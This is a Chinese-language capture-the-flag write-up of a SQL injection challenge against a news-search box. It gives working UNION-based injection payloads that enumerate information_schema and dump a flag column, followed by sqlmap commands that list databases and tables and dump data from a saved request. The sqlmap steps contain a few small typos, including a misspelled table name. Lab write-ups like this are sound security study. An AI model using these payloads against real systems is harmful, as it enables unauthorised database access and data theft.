打开环境,功能点只有一个查找新闻,猜测是sql注入
一.手工注入
从最基础的联合查询注入开始
1正常 1'报错 1' '正常
猜测为字符型注入,单引号闭合
1' order by 1,2,3 ;' 正常 1' order by 1,2,3,4 ;'报错
可见一共3列 (;将前后语句分开,'闭合后面的语句,也可以用#注释掉后面的语句)
1' union select 1,2,3;'
页面显示2和3,则2和3为显示位
1' union select 1,database(),3 ;'
查询数据库名,结果为news
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news';'
查询表名,有两个表
1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name="secret_table" ;'
查询secret_table表里的列名,有两个
1' union select 1, fl4g,3 from secret_table;'
查询fl4g里面的字段,出现flag
二.sqlmap
搜索框中填入内容,如‘1’,回车搜索抓包,将抓到包的内容保存在txt文档里
使用sqlmap的-r进行注入如下,其中C:\Users\xxx\Desktop\1.txt为保存数据包的txt文件绝对路径
#查找数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --dbs
#或查找当前数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --current-dbs
#查找news数据库中的表
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news --tables
#查找secret_table表中的列
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table --columns
#查找fl4g列中的字段(内容),出现flag
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table -C fl4g --dump